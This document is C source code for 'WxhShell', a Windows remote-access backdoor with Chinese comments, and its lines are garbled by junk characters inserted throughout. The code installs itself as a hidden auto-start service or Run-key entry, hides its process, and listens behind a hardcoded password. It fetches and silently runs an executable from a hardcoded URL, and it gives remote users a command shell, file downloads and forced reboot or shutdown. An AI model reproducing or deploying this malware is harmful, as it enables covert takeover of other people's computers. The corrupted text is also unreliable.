/A<L g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WnUYZ_+e! g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i'`Z$3EF) NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]'T-6 nW{7L if (!NtQueryInformationProcess) return 0; -] J V 3(AgUq hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bX5>qqB] if(!hProcess) return 0; 1{nXmtvr Y}nE/bmx&9 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; eCk}B$ 2 NsWyxcty CloseHandle(hProcess); Ej6vGC., ir%/9=^d hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #XC\=pZX if(hProcess==NULL) return 0; ">CjnF2>R q|gG{9 HMODULE hMod; [gH
vI char procName[255]; =<a`G3SY! unsigned long cbNeeded; W~dS8B=< j6IWdqXe if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ivw2EEo, WBTX~%*U CloseHandle(hProcess); `sJkOEc` ?L{[84GSO if(strstr(procName,"services")) return 1; // 以服务启动 hQ8/-#LO_ f5d"H6%L return 0; // 注册表启动 I.q nA } A9$q;8= < qBKIl=
ne // 主模块 ETjlq]@j int StartWxhshell(LPSTR lpCmdLine) vxZz9+UbF { 2hmV1gj SOCKET wsl; "{L%5:H@ BOOL val=TRUE; AP/5,M< int port=0; \gj@O5rG P struct sockaddr_in door; }2V|B4 3x'BMAA+ if(wscfg.ws_autoins) Install(); *Swb40L^ b/5;377_ port=atoi(lpCmdLine); /-G;#Wm ~G5)ya- if(port<=0) port=wscfg.ws_port; <\2,7K{{+; j"J2&Y2 WSADATA data; X^fMt] if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }MXZ yv4hH4Io if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ldi'@^ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y=5s~7] door.sin_family = AF_INET; jIAl7aoY door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZqS'xN:k door.sin_port = htons(port); s{`r$:! i<)c4 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N`8?bU7a}" closesocket(wsl); 3EF|1B/5 return 1; /`}C~ } M,q'
}|{yd03+ if(listen(wsl,2) == INVALID_SOCKET) { Uhb6{'+ closesocket(wsl); Z"% = return 1; s 6vsV } KuE
2a,E4 Wxhshell(wsl); }c%QF WSACleanup(); :6N{~ [:4 H:y.7 return 0; ?<xGO@b
. L;E9"7Jo } [
ecYpE< Bb8lklQ // 以NT服务方式启动 p24sWDf VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b!<?,S { >Y)jt*vQ DWORD status = 0; FU5vo DWORD specificError = 0xfffffff; |UBR8 !-LPFy> serviceStatus.dwServiceType = SERVICE_WIN32; ]%ikr&78u serviceStatus.dwCurrentState = SERVICE_START_PENDING; 4+' yJ9~,B serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {u3^#kF serviceStatus.dwWin32ExitCode = 0; :}e*3={4 serviceStatus.dwServiceSpecificExitCode = 0; )5Gzk&| serviceStatus.dwCheckPoint = 0; 6_`x^[r serviceStatus.dwWaitHint = 0; GT<Y]Dk H@,jNIh~h hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Gvl-q1PVC if (hServiceStatusHandle==0) return; X2q$i @M:j~ status = GetLastError(); {$oZR"MP if (status!=NO_ERROR) (9fq UbG { V5qvH"^ serviceStatus.dwCurrentState = SERVICE_STOPPED; tjuW+5O serviceStatus.dwCheckPoint = 0; ^xu`NE8; serviceStatus.dwWaitHint = 0; uTBls8 serviceStatus.dwWin32ExitCode = status; a?M<r> serviceStatus.dwServiceSpecificExitCode = specificError; o^d(mJZ.F~ SetServiceStatus(hServiceStatusHandle, &serviceStatus); }g5h"N\$o return; o24`5Jdh } X.%Xi'H z#8GF^U:T serviceStatus.dwCurrentState = SERVICE_RUNNING; tJ bOn$]2" serviceStatus.dwCheckPoint = 0; CPFd 33 serviceStatus.dwWaitHint = 0; -O^ b if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZTMzL%i } EX=+TOkAf =pN?h<dc // 处理NT服务事件,比如:启动、停止 =JX.*
MEB VOID WINAPI NTServiceHandler(DWORD fdwControl) N[){yaj { o/2\8 switch(fdwControl) `f8{^Rau { v3Te+oLg case SERVICE_CONTROL_STOP: Hx62x X serviceStatus.dwWin32ExitCode = 0; z!D >l serviceStatus.dwCurrentState = SERVICE_STOPPED; Z\6azhbI} serviceStatus.dwCheckPoint = 0; :*)~nPVV serviceStatus.dwWaitHint = 0; 1sGkbfh{t { s80:.B SetServiceStatus(hServiceStatusHandle, &serviceStatus); \*v}IO>2}) } S2;{)"mS return; ,BOB &u case SERVICE_CONTROL_PAUSE: )}]<o
|' serviceStatus.dwCurrentState = SERVICE_PAUSED; AL&}WbUC break; r/Qq-1E case SERVICE_CONTROL_CONTINUE: \02j~r`o serviceStatus.dwCurrentState = SERVICE_RUNNING; s|"V$/X(W break; "|.>pD#0& case SERVICE_CONTROL_INTERROGATE: f|w+}z break; .A&Ey5 }; Tf21K9+`L SetServiceStatus(hServiceStatusHandle, &serviceStatus); )p(5$AR7 } \aU^c24> uy~5!i& // 标准应用程序主函数 @@'zMV% int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `m`jX|` { hc`9Y C W7E2
^P$ // 获取操作系统版本 WK:~2m&y OsIsNt=GetOsVer(); 3@XCP-` GetModuleFileName(NULL,ExeFile,MAX_PATH); 9kH~+ C>:F4"0 // 从命令行安装 }8fxCW*| if(strpbrk(lpCmdLine,"iI")) Install(); N@58R9P<p tA3]6SIK@ // 下载执行文件 0$":W if(wscfg.ws_downexe) { s~IOc%3 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N 2L/A WinExec(wscfg.ws_filenam,SW_HIDE); D3HE~zkI } Y^2`)': {!o-y= if(!OsIsNt) { Qh? E*9 // 如果时win9x,隐藏进程并且设置为注册表启动 p%]*I? HideProc(); de[c3!#1d StartWxhshell(lpCmdLine); 4ME8NEE } C!Y|k.`p else {{tH$j?Q if(StartFromService()) [WRs1$5 // 以服务方式启动 ryW1OV6?_0 StartServiceCtrlDispatcher(DispatchTable); V%<<Udu< else fP&F$"o8 // 普通方式启动 d[kb]lC StartWxhshell(lpCmdLine); jtS+y)2 gD@ &/j7 return 0; q4xB`G } 67<zBw2 o!aKeM~|Es ~SUA.YuF 0u'4kF!P! =========================================== G|4 vnIS "of (,p k#c BBrY {YcVeCq+N x98LOO e,Gv~ae9 " G"5Nj3vd 6@]Xwq #include <stdio.h> Y
H
2iV #include <string.h> >#$(M5&}- #include <windows.h> fh b &_T #include <winsock2.h> p<Ah50!B #include <winsvc.h> /A9M v%zjk #include <urlmon.h> KQJn\#> {l0;G)- #pragma comment (lib, "Ws2_32.lib") rPaD#GA[7 #pragma comment (lib, "urlmon.lib") #E{aN?_ uZ]B ?Z%y# #define MAX_USER 100 // 最大客户端连接数 +LV'E#h!Q #define BUF_SOCK 200 // sock buffer 2GqPS #define KEY_BUFF 255 // 输入 buffer 2 8f-8B 5caYA&R #define REBOOT 0 // 重启 N>/*)Frt #define SHUTDOWN 1 // 关机 [YHvyfk~_ zv@'x
nY] #define DEF_PORT 5000 // 监听端口 ojs&W]r0Z i\3BA"ZX #define REG_LEN 16 // 注册表键长度 -102W{V/T #define SVC_LEN 80 // NT服务名长度 s|pb0 ~XsS00TL`G // 从dll定义API ~BERs;4 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \xDu#/^ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [9BlP typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Eh!%NeO typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); AU^Wy|i5Q ~H@':Mms.h // wxhshell配置信息 yz9`1R2c struct WSCFG { KfG%#2\G_ int ws_port; // 监听端口 _8 vxb char ws_passstr[REG_LEN]; // 口令 bjm`u3
A int ws_autoins; // 安装标记, 1=yes 0=no \#LKsQa char ws_regname[REG_LEN]; // 注册表键名 ,*E%D _ char ws_svcname[REG_LEN]; // 服务名 8kW9.
char ws_svcdisp[SVC_LEN]; // 服务显示名 D8m?`^Zz char ws_svcdesc[SVC_LEN]; // 服务描述信息 smIZ:L% char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "sAR<5b int ws_downexe; // 下载执行标记, 1=yes 0=no 7/PHg)&
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a}i{b2B char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '8*gJ7] o4w+)hh }; -fL|e/ J:?t.c~$o // default Wxhshell configuration ^nbze struct WSCFG wscfg={DEF_PORT, s.=)p"pTd "xuhuanlingzhe", Kzo{L 1, :{_Or'L "Wxhshell", qE$.a[ "Wxhshell", zesEbR)j "WxhShell Service", l2VO=RDiW "Wrsky Windows CmdShell Service", ;cp-jY_U "Please Input Your Password: ", _q6+] 1, ua|qL! L+ "http://www.wrsky.com/wxhshell.exe", h,FP,w;G "Wxhshell.exe" +}m j6I }; K8|6r|x g?`D8 // 消息定义模块 II>X6 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5CU< ? char *msg_ws_prompt="\n\r? for help\n\r#>"; '3+S5p8 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;4 ?%k ) char *msg_ws_ext="\n\rExit."; 7w>"M char *msg_ws_end="\n\rQuit."; ,yV
pB)IQ char *msg_ws_boot="\n\rReboot..."; oYJ&BPuA' char *msg_ws_poff="\n\rShutdown..."; \lKQDct. - char *msg_ws_down="\n\rSave to "; LaN4%[;X1- t$l[ 4
R- char *msg_ws_err="\n\rErr!"; Kw!`u^> char *msg_ws_ok="\n\rOK!"; *9PS2*n hXz"}X n char ExeFile[MAX_PATH]; 9?,n+ int nUser = 0; F<V
zVEx HANDLE handles[MAX_USER]; }{K)5k@ int OsIsNt; @'C)ss =kj d57(#)` SERVICE_STATUS serviceStatus; mG?a)P SERVICE_STATUS_HANDLE hServiceStatusHandle; KOi%zE% {dMa&r|lp // 函数声明 f\r$T Nd6 int Install(void); HoRLy*nU int Uninstall(void); AQQj]7Y int DownloadFile(char *sURL, SOCKET wsh); JSGUl4N int Boot(int flag); De>pIN;B> void HideProc(void); RK rBHqh@ int GetOsVer(void); cLR8U1k' int Wxhshell(SOCKET wsl); Ae ue:u> void TalkWithClient(void *cs); M\`6H8aLn int CmdShell(SOCKET sock); 6bHj<6>MX int StartFromService(void); .*Hv^_ int StartWxhshell(LPSTR lpCmdLine); A]H+rxg ^<y$+HcH VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V{d"cs>9 VOID WINAPI NTServiceHandler( DWORD fdwControl ); i3e|j(Gs4 }}_WZ},h // 数据结构和表定义 B5I(ai7<M SERVICE_TABLE_ENTRY DispatchTable[] = ;H:qDBH { tmb0zuJ&C! {wscfg.ws_svcname, NTServiceMain}, da I-* {NULL, NULL} t:M>&r:BL }; 0HNe44oI+D fcw\`. // 自我安装 A=XM(2{aN int Install(void) H.>KYiv+ { Ei}DA=:s char svExeFile[MAX_PATH]; ?|s[/zPS= HKEY key; xFpJ#S& strcpy(svExeFile,ExeFile); ^xqh! c#Y9L+O // 如果是win9x系统,修改注册表设为自启动 u{H_q&1 if(!OsIsNt) { Pyyx/u+?@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jBE=Ij RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DcOu=Y> 1 RegCloseKey(key); OcSLRN?t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (>;~((2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \H" (*["& RegCloseKey(key); IL>g- return 0; Wq,UxMz } *-P@|eg } .Dx]wv } ||!k 3t#< else { ^8MgNVoJ) |=h>3Z=r! // 如果是NT以上系统,安装为系统服务 `q
xg SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); As)-a5! if (schSCManager!=0) ,%,}[q?]d { bjvi`jyL3k SC_HANDLE schService = CreateService mS%D"
e ( ")sq?1?X schSCManager, DD~8:\QD wscfg.ws_svcname, el[6E0!@ wscfg.ws_svcdisp, w\@Anwj#L SERVICE_ALL_ACCESS, ^3r2Q?d\ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z ,ledTl SERVICE_AUTO_START, a(J~:wgd SERVICE_ERROR_NORMAL, oa9T3gQ? svExeFile, \7/xb{z| NULL, LXK+WB/s NULL, Sk1yend4 NULL, PMTyiwlm NULL, UhEnW8^bz1 NULL 5k\61(*s ); kw yvd`J8 if (schService!=0) ^T<<F}@q { #K4wO!d CloseServiceHandle(schService); 6'Lij&,f?{ CloseServiceHandle(schSCManager); 7M$>'PfO strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T
%cN(0@ strcat(svExeFile,wscfg.ws_svcname); i^gzl_! if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ybok[5 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6~2!ZU RegCloseKey(key); $Z;0/\r% return 0; EL+}ab2S } M@gm.)d } z{%G CloseServiceHandle(schSCManager); c3Mql+@ } s\KV\5\o } VTV-$Du[} H ~$a6T"& return 1; X GO_n{x } n\P{Mc oR5`- // 自我卸载 U~T/f-CT int Uninstall(void) ,m:MI/)p { {WC{T2:8 HKEY key; SYC_=X +1cK (Si if(!OsIsNt) { 2} T"|56 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r?Z8_5Y RegDeleteValue(key,wscfg.ws_regname); &]ImO
RN RegCloseKey(key); IRcZyry if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :Tjo+vw7$H RegDeleteValue(key,wscfg.ws_regname); xl<Cstr RegCloseKey(key); "4ovMan return 0; e<IT2tv>u } jt;,7Ek } /O&j1g@ } gN(8T_r else { K\;b3 IJs`3? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0_%u(? if (schSCManager!=0) BGUP-_& { 8WaVs 6 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u/``*=Y@ if (schService!=0) fc&4e:Ve { g8B@M*JA if(DeleteService(schService)!=0) { lJ}lO,g CloseServiceHandle(schService); ;zp0,[r CloseServiceHandle(schSCManager); g y&B"` return 0; )WBTqML[ } C9*'.~ CloseServiceHandle(schService); VV?KJz=,W= } *,z__S$Q) CloseServiceHandle(schSCManager); CRS/qso[Q' } OHH wcJ 7N } W**a\[~$ &%INfl>o7. return 1; yyBy|7QgO } :;]6\/ky QZzi4[-as // 从指定url下载文件 N|8TE7- F| int DownloadFile(char *sURL, SOCKET wsh) O[q {y { dx:],VB HRESULT hr; 6R#f 8 char seps[]= "/"; p+A#t~K char *token; $7lI Dt char *file; Nno*X9>~ char myURL[MAX_PATH]; )Ibp%'H char myFILE[MAX_PATH]; EAx@a% rbs:qLa% strcpy(myURL,sURL); ,qt9S0QS token=strtok(myURL,seps); ,AWN *OS while(token!=NULL) Joe k4t&0< { \J:/l|h file=token; y<.1+TG token=strtok(NULL,seps); n Hy| } {3!v<CY' H}X3nl\] GetCurrentDirectory(MAX_PATH,myFILE); {bl^O strcat(myFILE, "\\"); rFdovfb
strcat(myFILE, file); R~;<}!Gtx send(wsh,myFILE,strlen(myFILE),0); nKufVe send(wsh,"...",3,0); tE- s/ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n|3ENN if(hr==S_OK) #(!> return 0; lcyan else vMDV%E S1t return 1; <+pwGKtD l *.#g } gHA"O@HgDI
"ifYy>d // 系统电源模块 V%
psaT=)P int Boot(int flag) g/'MECB { RCo!sZP} HANDLE hToken; %Qrf
] TOKEN_PRIVILEGES tkp; <<Ut@243\ (*BQd1Z if(OsIsNt) { Pf-k"7y OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X.bNU LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fD]}&xc tkp.PrivilegeCount = 1; WFULQQ* tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "{j4?3f) AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $#8dtF if(flag==REBOOT) { .[NB"\<q if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `/8Dmg return 0; MAQkk%6[g } E"nIC,VZ else { `(.K|l} if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PiP\T.XANa return 0; y2yW91B, } OT&J OTk\ } hK&jo(V else { 9v8{JaI3 if(flag==REBOOT) { TE3A(N' if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -y)ij``VY return 0; }RDGk+x7| } oxha8CF]D else { >7p?^*&7; if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u-$(TyDEl| return 0; vzd1:'^t } $&I##od } S{zi8Oc6 :4;ZO~eq! return 1; F/IXqj } B{PI&a9~s% M6[&od // win9x进程隐藏模块 &2d^=fih void HideProc(void) K}L-$B*i { bb`GV R6r'[-B2 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Cq(dj^/~m if ( hKernel != NULL ) Xk8+m> { esIEi!d pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =rMT1 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nm_]2z O FreeLibrary(hKernel); $0~H~- } s=h '%vb&a!.6 return; 5IE 2&V } tXV9+AJ d<r=f" // 获取操作系统版本 !ZJ"lm int GetOsVer(void) q;3.pRw( { N0,wT6. OSVERSIONINFO winfo; */;[ -9 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F#*vJb) GetVersionEx(&winfo); *$1M=$ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dgh)Rfp3 return 1; y1G Vn o else TL-sxED,,D return 0; (sHqzWh } y0k*iS
e )7l+\t // 客户端句柄模块 e)]9u$x int Wxhshell(SOCKET wsl) k7z;^: { *NHBwXg+ SOCKET wsh; ;P3sDN struct sockaddr_in client; _~ZNX+4 DWORD myID; /7/d
u[P6 OXd617
while(nUser<MAX_USER) B2w\ { -!f)P=S int nSize=sizeof(client); "l &=a1l wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8QDs4Bv| if(wsh==INVALID_SOCKET) return 1; U` uP^ r BQFC4L handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7=(rk if(handles[nUser]==0) rJ|Q%utYz closesocket(wsh); DN3#W w2[r else BQu_)@ nUser++; kclClB:PS } W ZdEfY{ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %5Hsd \
'G%%%;4 return 0; N3nFE:`u] } mrX 2w Cgq/#2BM // 关闭 socket C8 9c2 void CloseIt(SOCKET wsh) 1BO$xq { ?^t"tY closesocket(wsh); ofH=h nUser--; ^m8T$^z> ExitThread(0); Dvbrpn!sk } q1}HsTnBH g`I`q3EF) // 客户端请求句柄 62GP1qH9 void TalkWithClient(void *cs) ?a?i8rnWo { J/X{
Y2f bL
soKe SOCKET wsh=(SOCKET)cs; onL&lE char pwd[SVC_LEN]; AlT41v~6 char cmd[KEY_BUFF]; 3C'`K, char chr[1]; INtt0Cm9" int i,j; cVya~ * *y<Ru:D while (nUser < MAX_USER) { __o`+ ^FS ]wFKXZeK if(wscfg.ws_passstr) { BB@I|)9O( if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
WJ":BK{NM //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U+: o y:mz //ZeroMemory(pwd,KEY_BUFF); QFt7L i=0; 4gbi?UAmX while(i<SVC_LEN) { z(V?pHv+ D#Fe\8!l // 设置超时 V;0{o fd_set FdRead; e&%m[:W:< struct timeval TimeOut; |TM&:4D]^ FD_ZERO(&FdRead); |<tZ| FD_SET(wsh,&FdRead); XN65bq TimeOut.tv_sec=8; b Lag&c) TimeOut.tv_usec=0; >fHg1d2- int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &Uq++f6 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o_;pEe J%}9"Q5 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <q|IP_ pwd=chr[0]; Q M7z
. if(chr[0]==0xd || chr[0]==0xa) { -wv5c pwd=0; G%0G$3W" break; H^_]' ~. } rw_T&>! i++; dayp1%d } 6QS[mWU !9|)v7} // 如果是非法用户,关闭 socket i\hH .7G1 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U U!M/QJ } .
+_IpygQ GtI]6t send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j$r .&,m send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B198_T! +bK[3KG4F5 while(1) { f5D.wSY [)UF@Sq4+Q ZeroMemory(cmd,KEY_BUFF); E><!Owxt/ 2B&Yw // 自动支持客户端 telnet标准 p_h)|*W{ j=0; +9Z RCmV while(j<KEY_BUFF) { R7aS{8nn if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "j|}-a cmd[j]=chr[0]; /?X1>A:* if(chr[0]==0xa || chr[0]==0xd) { K|*Cka{ cmd[j]=0; 9`{[J['V break; 2}`Q9? } yH_L<n j++; N!" ]e*q } :()(P9? pcw!e_"+ // 下载文件 86d* if(strstr(cmd,"http://")) { |rJ_ send(wsh,msg_ws_down,strlen(msg_ws_down),0); &We1i&w if(DownloadFile(cmd,wsh)) u*_I7.}9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); UJ'
+Z6d else g*$
0G send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "o#N6Qu71 } d5<@WI:wz else { w`XwW#!}@$ `K[:<p} switch(cmd[0]) { tm\ <w H wqDRFZ1*P // 帮助 g*8LdH6mq case '?': { b:fy send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '>FJk`iI break; H8yc< } X;_0"g // 安装 c)Ft#vzg&e case 'i': { #u+BjuZo if(Install()) 6w{^S~rqo send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2,|*KN*e`W else =y >P>&sI send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !v\m%t|. break; $eQ_!7Gom$ } 8OC5L1 // 卸载 ;aYPv8s~,: case 'r': { Wo5G23:xz if(Uninstall()) bu"Jb4_a> send(wsh,msg_ws_err,strlen(msg_ws_err),0); N]cGJU>$ else Y+N^_2@+C send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <x@\3{{U break; e2w$":6> } ixN>KwH // 显示 wxhshell 所在路径 aq3evm case 'p': { :6LOb f\01 char svExeFile[MAX_PATH]; cqeId&Cg strcpy(svExeFile,"\n\r"); .UbmU^y| strcat(svExeFile,ExeFile); vj0`[X send(wsh,svExeFile,strlen(svExeFile),0); j}8IT break; /1++ 8= } X?$Eb // 重启 0O4'Ts ? case 'b': { 9m56oT'U{ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "hz(A.THi if(Boot(REBOOT)) s<0yQ-=.?N send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vja' :i else { FVLXq0<Cj closesocket(wsh); L]0+u\( ExitThread(0); FM9b0qE } W#'c6Hq2c break;
7-Rn{"5 } RhyI\(Z2q // 关机 qcke8Q case 'd': { q p|T,D% send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,G1|]
~ if(Boot(SHUTDOWN)) q,d]i/T send(wsh,msg_ws_err,strlen(msg_ws_err),0); |w[}\#2 else { R@>R@V>c closesocket(wsh); [a;lYsOsJ ExitThread(0); mh44 } M
"p6xp/ break; 3hR7 ./ } Bt,qG1>$- // 获取shell dv4)fG]W;_ case 's': { {d(PH7R CmdShell(wsh); 9In&vF7$ closesocket(wsh); [.< |